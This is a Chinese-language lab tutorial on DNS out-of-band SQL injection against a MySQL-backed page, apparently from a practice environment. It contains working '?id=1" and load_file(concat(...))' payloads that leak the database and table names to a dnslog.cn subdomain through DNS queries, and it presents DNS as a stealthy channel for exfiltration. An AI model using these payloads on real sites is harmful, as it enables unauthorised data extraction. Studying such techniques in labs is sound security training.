1.审题
通过语句测试发现,只有一种页面回显,为双引号闭合,可以使用时间盲注。但是时间盲注需要逐字符猜解,耗时长,而且请求量过大容易被检测,有没有更优化的注入技术呢?
二、思考
DNSlog注入,又称DNS带外(DNS Out-of-Band,简称 DNS OOB)注入。传统注入只需要在http这一传输通道上操作即可,DNSlog注入涉及到DNS协议的带外通信。
它的优势在于:
1.高效性:单次查询获取表/列/数据;
2.隐蔽性:DNS流量很少被监控;
3.绕过过滤:不依赖页面回显;
4.大数据获取:可提取整张表数据。
但同时也存在局限:
1.需要数据库具有网络访问权限;
2.依赖特定函数未被禁用;
3.目标服务器需能解析外部DNS;
4.只有Windows系统可以利用。
先做一个简单的测试,利用网站http://www.dnslog.cn/。这是一个 DNS 日志平台,可以捕获目标服务器发起的 DNS 查询请求。
首先获取一个域名,再去ping这个域名,查看日志记录。
我们在ping中写入%username%,可以发现系统将主机名称root解析出来了。假设在这里构造数据库查询语句,是不是意味着同样可以被记录到日志中。
使用条件:
DNSlog注入需要依赖load_file() 函数,它的作用是读取文件内容,作为字符串返回。需要配置文件my.ini中secure_file_priv=(空),如果secure_file_priv=NULL,load_file() 函数会被禁用。MySQL 5.7 及以上版本,默认值通常为 NULL(表示禁止所有导入导出操作)。
在mysql命令行中使用show variables like '%secure%'; 可以查看secure_file_priv的情况。
构造语句:
?id=1" and load_file(concat('\\\\',(select database()),'.hduo8x.dnslog.cn\\test')) --+
load_file()函数触发文件查询,所以在最后写随便一个文件名,如test;
concat()函数:拼接语法;
'\\\\':这是Windows UNC路径格式要求;
注入执行:
当数据库执行此查询时:
尝试访问 “数据库名.xxxxxx.dnslog.cn”这个地址来加载文件;
发起DNS解析请求;
DNS服务器记录查询日志。
这里就得到数据库名为security。
三、做法
1.获取数据库名称;
2.获取表的名称;
?id=1" and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'.hduo8x.dnslog.cn\\test')) --+
3.获取表中字段;
4.获取字段中数据,完成。